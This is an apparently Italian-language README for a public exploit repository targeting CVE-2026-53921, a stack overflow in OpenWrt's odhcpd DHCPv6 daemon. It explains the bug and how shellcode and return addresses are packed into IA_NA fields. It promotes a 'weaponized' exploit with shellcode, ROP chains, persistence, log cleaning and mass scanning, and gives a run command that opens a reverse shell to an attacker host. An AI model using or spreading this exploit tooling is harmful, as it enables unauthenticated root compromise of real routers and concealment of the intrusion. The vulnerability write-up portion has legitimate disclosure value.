
CVE-2026-53921 – Stack Overflow in odhcpd (CVSS 9.8) 🛡️ Write-Up dettagliato e completo della vulnerabilità e Verifier & Multi-exploit per RCE DHCPv6 su OpenWrt. Overflow dual-vettore (IA_NA/IA_PD) con shellcode MIPS/ARM, catene ROP, proxy SOCKS5, persistenza, pulizia dei log e scansione di massa. Usalo in modo etico, resta legale. 🔒

- Solo per scopi educativi e test autorizzati. L'uso non autorizzato è illegale.**
CVE-2026-53921 è un critico stack buffer overflow nel daemon odhcpd di OpenWrt – il server DHCPv6/DHCPv4/RA predefinito.
La vulnerabilità risiede nel codice di gestione dei messaggi DHCPv6 di odhcpd,
in particolare nelle funzioni build_ia() e dhcpv6_ia_handle_IAs().
Il bug si verifica durante la serializzazione (packing) dei pacchetti
DHCPv6 Reply. Quando odhcpd risponde alle richieste dei client, costruisce
la risposta in un buffer stack di dimensione fissa di 512 byte senza un
corretto controllo dei limiti.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Un attaccante invia una DHCPv6 Request (o Solicit) con:
Ogni opzione consuma spazio nello stack mentre odhcpd costruisce la sua Reply. I
dati accumulati superano i 512 byte, causando l'overflow.
Vettore Trigger Punto di overflow
Sito 1 5 opzioni IA_NA build_ia() per IA_NA
con indirizzi IPv6
build_ia() per IA_PDLa causa principale è identica, ma l'overflow si verifica in percorsi di codice diversi, rendendo entrambi i vettori ugualmente sfruttabili.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
L'attaccante sovrascrive l'indirizzo di ritorno salvato per puntarlo al proprio shellcode in memoria.
Requisito Descrizione
Accesso alla rete L'attaccante deve avere connettività IPv6 verso il target
Autenticazione Nessuna -- attacco non autenticato
Privilegi odhcpd viene eseguito come root, quindi
l'RCE garantisce il controllo completo del sistema
In un exploit reale, lo shellcode dell'attaccante viene inserito nei campi degli indirizzi IPv6 IAAddress (16 byte per IA_NA). I pacchetti costruiti inseriscono lo shellcode, il NOP sled e l'indirizzo di ritorno in questi campi.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Versione Stato RCE possibile?
odhcpd < e432dd6 Vulnerabile [+] Sì OpenWrt < 24.10.8 Vulnerabile [+] Sì OpenWrt < 25.12.5 Vulnerabile [+] Sì OpenWrt 24.10.8+ Corretto [-] No OpenWrt 25.12.5+ Corretto [-] No odhcpd master + e432dd6 Corretto [-] No
Questa vulnerabilità è particolarmente pericolosa perché:
odhcpd è abilitato per impostazione predefinita sulle installazioni OpenWrt.| Componente | Versioni vulnerabili | Corretto in |
|---|---|---|
odhcpd (branch master) | prima del commit e432dd6 | e432dd6 o successivo |
| Release OpenWrt | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
Questo repository fornisce due script indipendenti:
| Script | Scopo | Codice exploit | Sicurezza |
|---|---|---|---|
verifier.py | Controllo di vulnerabilità non intrusivo | [-] No | [+] Sicuro |
exploit.py | Exploit completo weaponized | [+] Sì | [!] Pericoloso |
verifier.py – Verificatore di vulnerabilitàexploit.py – Exploit completoIA_NA (Site1) e IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argomento | Descrizione |
|---|---|
-u, --target | Indirizzo IPv6 target (obbligatorio) |
-i, --iface | Interfaccia di rete (predefinito: eth0) |
exploit.py